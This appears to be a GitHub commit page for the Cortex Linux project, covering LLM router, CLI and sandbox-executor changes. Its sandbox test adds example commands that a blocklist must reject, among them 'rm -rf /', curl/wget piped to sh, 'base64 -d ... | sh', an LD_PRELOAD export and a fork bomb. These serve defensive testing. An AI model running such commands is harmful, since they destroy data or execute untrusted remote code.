Skip to content

Commit 88fcc8f

Browse files
committed
Address review feedback
1 parent f4835b1 commit 88fcc8f

File tree

8 files changed

+116
-50
lines changed

8 files changed

+116
-50
lines changed

cortex/cli.py

Lines changed: 15 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@
2424
print_all_preferences,
2525
format_preference_value
2626
)
27-
from cortex.preflight_checker import PreflightChecker, format_report, export_report
27+
from cortex.preflight_checker import PreflightChecker, format_report
2828
from cortex.branding import (
2929
console,
3030
cx_print,
@@ -337,11 +337,18 @@ def _run_simulation(self, software: str) -> int:
337337
"""Run preflight simulation check for installation"""
338338
try:
339339
# Get API key for LLM-powered package info (optional).
340-
api_key = os.environ.get('OPENAI_API_KEY') or os.environ.get('ANTHROPIC_API_KEY')
341-
provider = self._get_provider() if api_key else 'openai'
340+
# Keep provider selection consistent with the rest of the CLI.
341+
provider = self._get_provider()
342+
provider_for_preflight = provider if provider in {'openai', 'claude'} else 'openai'
343+
if provider == 'openai':
344+
api_key = os.environ.get('OPENAI_API_KEY')
345+
elif provider == 'claude':
346+
api_key = os.environ.get('ANTHROPIC_API_KEY')
347+
else:
348+
api_key = None
342349

343350
# Create checker with optional API key for enhanced accuracy
344-
checker = PreflightChecker(api_key=api_key, provider=provider)
351+
checker = PreflightChecker(api_key=api_key, provider=provider_for_preflight)
345352
report = checker.run_all_checks(software)
346353

347354
# Print formatted report
@@ -621,9 +628,10 @@ def main():
621628
# Install command
622629
install_parser = subparsers.add_parser('install', help='Install software')
623630
install_parser.add_argument('software', type=str, help='Software to install')
624-
install_parser.add_argument('--execute', action='store_true', help='Execute commands')
625-
install_parser.add_argument('--dry-run', action='store_true', help='Show commands only')
626-
install_parser.add_argument('--simulate', action='store_true', help='Simulate installation without making changes')
631+
install_mode_group = install_parser.add_mutually_exclusive_group()
632+
install_mode_group.add_argument('--execute', action='store_true', help='Execute commands')
633+
install_mode_group.add_argument('--dry-run', action='store_true', help='Show commands only')
634+
install_mode_group.add_argument('--simulate', action='store_true', help='Simulate installation without making changes')
627635

628636
# History command
629637
history_parser = subparsers.add_parser('history', help='View history')

cortex/llm_router.py

Lines changed: 43 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -14,9 +14,9 @@
1414
import os
1515
import time
1616
import json
17-
from typing import Dict, List, Optional, Any, Literal
17+
from typing import Dict, List, Optional, Any, Union
1818
from enum import Enum
19-
from dataclasses import dataclass, asdict
19+
from dataclasses import dataclass
2020
from anthropic import Anthropic
2121
from openai import OpenAI
2222
import logging
@@ -26,7 +26,14 @@
2626
logger = logging.getLogger(__name__)
2727

2828

29-
_UNSET = object()
29+
class _UnsetType:
30+
__slots__ = ()
31+
32+
def __repr__(self) -> str:
33+
return "UNSET"
34+
35+
36+
_UNSET = _UnsetType()
3037

3138

3239
class TaskType(Enum):
@@ -78,7 +85,7 @@ class LLMRouter:
7885
- Error debugging → Kimi K2 (better at technical problem-solving)
7986
- Complex installs → Kimi K2 (superior agentic capabilities)
8087
81-
Includes fallback logic if primary LLM fails.
88+
Note: Fallback between providers is intentionally disabled for now.
8289
"""
8390

8491
# Cost per 1M tokens (estimated, update with actual pricing)
@@ -107,8 +114,8 @@ class LLMRouter:
107114

108115
def __init__(
109116
self,
110-
claude_api_key: Optional[str] = _UNSET,
111-
kimi_api_key: Optional[str] = _UNSET,
117+
claude_api_key: Union[str, None, _UnsetType] = _UNSET,
118+
kimi_api_key: Union[str, None, _UnsetType] = _UNSET,
112119
default_provider: LLMProvider = LLMProvider.CLAUDE,
113120
enable_fallback: bool = True,
114121
track_costs: bool = True
@@ -133,7 +140,9 @@ def __init__(
133140
os.getenv("MOONSHOT_API_KEY") if kimi_api_key is _UNSET else kimi_api_key
134141
)
135142
self.default_provider = default_provider
136-
# Fallback support is intentionally disabled for now (Kimi fallback not implemented).
143+
if enable_fallback:
144+
logger.warning("Fallback is currently disabled; enable_fallback will be ignored")
145+
# Fallback support is intentionally disabled for now.
137146
self.enable_fallback = False
138147
self.track_costs = track_costs
139148

@@ -180,6 +189,11 @@ def route_task(
180189
RoutingDecision with provider and reasoning
181190
"""
182191
if force_provider:
192+
# Forced provider still needs to be configured to avoid confusing failures later.
193+
if force_provider == LLMProvider.CLAUDE and not self.claude_client:
194+
raise RuntimeError("Claude API not configured")
195+
if force_provider == LLMProvider.KIMI_K2 and not self.kimi_client:
196+
raise RuntimeError("Kimi K2 API not configured")
183197
return RoutingDecision(
184198
provider=force_provider,
185199
task_type=task_type,
@@ -255,7 +269,7 @@ def complete(
255269
return response
256270

257271
except Exception as e:
258-
logger.error(f"❌ Error with {routing.provider.value}: {e}")
272+
logger.exception(f"❌ Error with {routing.provider.value}: {e}")
259273
raise
260274

261275
def _complete_claude(
@@ -267,16 +281,26 @@ def _complete_claude(
267281
) -> LLMResponse:
268282
"""Generate completion using Claude API."""
269283
# Anthropic supports a single system prompt separate from messages.
270-
system_message: Optional[str] = None
284+
system_messages: List[str] = []
271285
user_messages: List[Dict[str, str]] = []
272286

273287
for message in messages:
274288
role = message.get("role")
289+
if role not in {"system", "user", "assistant"}:
290+
raise ValueError(f"Invalid role for Claude: {role!r}")
291+
275292
content = message.get("content", "")
293+
if content is None:
294+
content = ""
295+
276296
if role == "system":
277-
system_message = content
297+
if content:
298+
system_messages.append(str(content))
278299
else:
279-
user_messages.append({"role": role, "content": content})
300+
user_messages.append({"role": role, "content": str(content)})
301+
302+
if not user_messages:
303+
raise ValueError("Claude requires at least one non-system message")
280304

281305
kwargs: Dict[str, Any] = {
282306
"model": "claude-sonnet-4-20250514",
@@ -285,19 +309,22 @@ def _complete_claude(
285309
"messages": user_messages,
286310
}
287311

288-
if system_message:
289-
kwargs["system"] = system_message
312+
if system_messages:
313+
kwargs["system"] = "\n\n".join(system_messages)
290314

291315
if tools:
292316
kwargs["tools"] = tools
293317

294318
response = self.claude_client.messages.create(**kwargs)
295319

296320
# Extract content
297-
content_text = ""
321+
content_parts: List[str] = []
298322
for block in response.content:
299-
if hasattr(block, "text"):
300-
content_text += block.text
323+
text = getattr(block, "text", None)
324+
if text:
325+
content_parts.append(text)
326+
327+
content_text = "".join(content_parts)
301328

302329
input_tokens = response.usage.input_tokens
303330
output_tokens = response.usage.output_tokens

requirements.txt

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,4 +12,3 @@ pyyaml>=6.0.0
1212

1313
# Type hints for older Python versions
1414
typing-extensions>=4.0.0
15-
PyYAML>=6.0.0

src/config_manager.py

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -10,11 +10,15 @@
1010
import yaml
1111
import subprocess
1212
import re
13+
import logging
1314
from typing import Dict, List, Optional, Any, Tuple, ClassVar
1415
from datetime import datetime
1516
from pathlib import Path
1617

1718

19+
logger = logging.getLogger(__name__)
20+
21+
1822
class ConfigManager:
1923
"""
2024
Manages configuration export/import for Cortex Linux.
@@ -76,8 +80,8 @@ def _enforce_directory_security(self, directory: Path) -> None:
7680
if not (hasattr(os, 'getuid') and hasattr(os, 'getgid') and hasattr(os, 'chown')):
7781
try:
7882
os.chmod(directory, 0o700)
79-
except OSError:
80-
pass
83+
except OSError as e:
84+
logger.debug("Unable to chmod %s on non-POSIX platform: %s", directory, e)
8185
return
8286

8387
try:

src/sandbox_executor.py

Lines changed: 9 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -264,19 +264,9 @@ def validate_command(self, command: str) -> Tuple[bool, Optional[str]]:
264264
Returns:
265265
Tuple of (is_valid, violation_reason)
266266
"""
267-
# Check for dangerous patterns.
268-
# Some tests generate commands with escaped shell metacharacters (e.g. "chmod \+s", "curl ... \| sh").
269-
command_for_pattern = (
270-
command
271-
# Some tests also generate commands with literal regex whitespace tokens (e.g. "\\s*").
272-
# Treat these as spaces for the purpose of detecting dangerous patterns.
273-
.replace('\\s+', ' ')
274-
.replace('\\s*', ' ')
275-
.replace('\\+', '+')
276-
.replace('\\|', '|')
277-
)
267+
# Check for dangerous patterns in the raw command.
278268
for pattern in self.DANGEROUS_PATTERNS:
279-
if re.search(pattern, command_for_pattern, re.IGNORECASE):
269+
if re.search(pattern, command, re.IGNORECASE):
280270
return False, f"Dangerous pattern detected: {pattern}"
281271

282272
# Parse command
@@ -567,6 +557,8 @@ def set_resource_limits():
567557
self.logger.warning(f"Failed to set resource limits: {e}")
568558
preexec_fn = set_resource_limits
569559

560+
process: Optional[subprocess.Popen] = None
561+
570562
process = subprocess.Popen(
571563
firejail_cmd,
572564
stdout=subprocess.PIPE,
@@ -596,7 +588,11 @@ def set_resource_limits():
596588
return result
597589

598590
except subprocess.TimeoutExpired:
599-
process.kill()
591+
if process is not None:
592+
try:
593+
process.kill()
594+
except Exception:
595+
pass
600596
result = ExecutionResult(
601597
command=command,
602598
exit_code=-1,

tests/conftest.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ def _prepend_sys_path(path: Path) -> None:
2626
sys.path.insert(0, path_str)
2727

2828

29-
_REPO_ROOT = Path(__file__).resolve().parents[1]
29+
_REPO_ROOT: Path = Path(__file__).resolve().parents[1]
3030

3131
# Prepend in reverse order (each insert goes to index 0), resulting in:
3232
# src/ -> cortex/

tests/test_llm_router.py

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -99,7 +99,7 @@ def test_fallback_to_kimi_when_claude_unavailable(self):
9999
enable_fallback=True
100100
)
101101

102-
with self.assertRaises(RuntimeError):
102+
with self.assertRaisesRegex(RuntimeError, "Claude API not configured"):
103103
router.route_task(TaskType.USER_CHAT)
104104

105105
def test_fallback_to_claude_when_kimi_unavailable(self):
@@ -110,7 +110,7 @@ def test_fallback_to_claude_when_kimi_unavailable(self):
110110
enable_fallback=True
111111
)
112112

113-
with self.assertRaises(RuntimeError):
113+
with self.assertRaisesRegex(RuntimeError, "Kimi K2 API not configured"):
114114
router.route_task(TaskType.SYSTEM_OPERATION)
115115

116116
def test_error_when_no_providers_available(self):
@@ -121,7 +121,7 @@ def test_error_when_no_providers_available(self):
121121
enable_fallback=True
122122
)
123123

124-
with self.assertRaises(RuntimeError):
124+
with self.assertRaisesRegex(RuntimeError, "Claude API not configured"):
125125
router.route_task(TaskType.USER_CHAT)
126126

127127
def test_error_when_fallback_disabled(self):
@@ -132,7 +132,7 @@ def test_error_when_fallback_disabled(self):
132132
enable_fallback=False
133133
)
134134

135-
with self.assertRaises(RuntimeError):
135+
with self.assertRaisesRegex(RuntimeError, "Claude API not configured"):
136136
router.route_task(TaskType.USER_CHAT)
137137

138138

@@ -484,7 +484,7 @@ def test_fallback_on_error(self, mock_openai, mock_anthropic):
484484
enable_fallback=True
485485
)
486486

487-
with self.assertRaises(Exception):
487+
with self.assertRaisesRegex(Exception, "API Error"):
488488
router.complete(
489489
messages=[{"role": "user", "content": "Install CUDA"}],
490490
task_type=TaskType.SYSTEM_OPERATION

tests/unit/test_sandbox_executor.py

Lines changed: 37 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -311,12 +311,44 @@ def tearDown(self):
311311

312312
def test_dangerous_patterns_blocked(self):
313313
"""Test that all dangerous patterns are blocked."""
314+
examples = {
315+
r'rm\s+-rf\s+[/\*]': 'rm -rf /',
316+
r'rm\s+-rf\s+\$HOME': 'rm -rf $HOME',
317+
r'rm\s+--no-preserve-root': 'rm --no-preserve-root -rf /',
318+
r'dd\s+if=': 'dd if=/dev/zero of=/tmp/out bs=1 count=1',
319+
r'mkfs\.': 'mkfs.ext4 /dev/sda1',
320+
r'fdisk': 'fdisk /dev/sda',
321+
r'parted': 'parted /dev/sda print',
322+
r'wipefs': 'wipefs /dev/sda',
323+
r'format\s+': 'format c:',
324+
r'>\s*/dev/': 'echo hi > /dev/sda',
325+
r'chmod\s+[0-7]{3,4}\s+/': 'chmod 700 /',
326+
r'chmod\s+777': 'chmod 777 /tmp/x',
327+
r'chmod\s+\+s': 'chmod +s /tmp/x',
328+
r'chown\s+.*\s+/': 'chown root:root /',
329+
r'curl\s+.*\|\s*sh': 'curl http://example.com/install.sh | sh',
330+
r'curl\s+.*\|\s*bash': 'curl http://example.com/install.sh | bash',
331+
r'wget\s+.*\|\s*sh': 'wget -qO- http://example.com/install.sh | sh',
332+
r'wget\s+.*\|\s*bash': 'wget -qO- http://example.com/install.sh | bash',
333+
r'curl\s+-o\s+-\s+.*\|': 'curl -o - http://example.com/install.sh | sh',
334+
r'\beval\s+': 'eval "echo hi"',
335+
r'python\s+-c\s+["\'].*exec': 'python -c "exec(\"print(1)\")"',
336+
r'python\s+-c\s+["\'].*__import__': 'python -c "__import__(\"os\")"',
337+
r'base64\s+-d\s+.*\|': 'base64 -d /tmp/payload | sh',
338+
r'>\s*/etc/': 'echo hi > /etc/hosts',
339+
r'sudo\s+su\s*$': 'sudo su',
340+
r'sudo\s+-i\s*$': 'sudo -i',
341+
r'export\s+LD_PRELOAD': 'export LD_PRELOAD=/tmp/evil.so',
342+
r'export\s+LD_LIBRARY_PATH.*=/': 'export LD_LIBRARY_PATH=/tmp:/lib',
343+
r':\s*\(\)\s*\{\s*:\s*\|\s*:\s*&\s*\}': ':(){ :|:& };:',
344+
}
345+
314346
for pattern in self.executor.DANGEROUS_PATTERNS:
315-
# Create a command matching the pattern
316-
test_cmd = pattern.replace(r'\s+', ' ').replace(r'[/\*]', '/')
317-
test_cmd = test_cmd.replace(r'\$HOME', '$HOME')
318-
test_cmd = test_cmd.replace(r'\.', '.')
319-
test_cmd = test_cmd.replace(r'[0-7]{3,4}', '777')
347+
test_cmd = examples.get(pattern)
348+
self.assertIsNotNone(test_cmd, f"Missing example command for pattern: {pattern}")
349+
350+
# Sanity check: ensure our example actually matches the regex pattern.
351+
self.assertRegex(test_cmd, pattern, f"Example does not match pattern: {pattern}")
320352

321353
is_valid, violation = self.executor.validate_command(test_cmd)
322354
self.assertFalse(is_valid, f"Pattern should be blocked: {pattern}")

0 commit comments

Comments
 (0)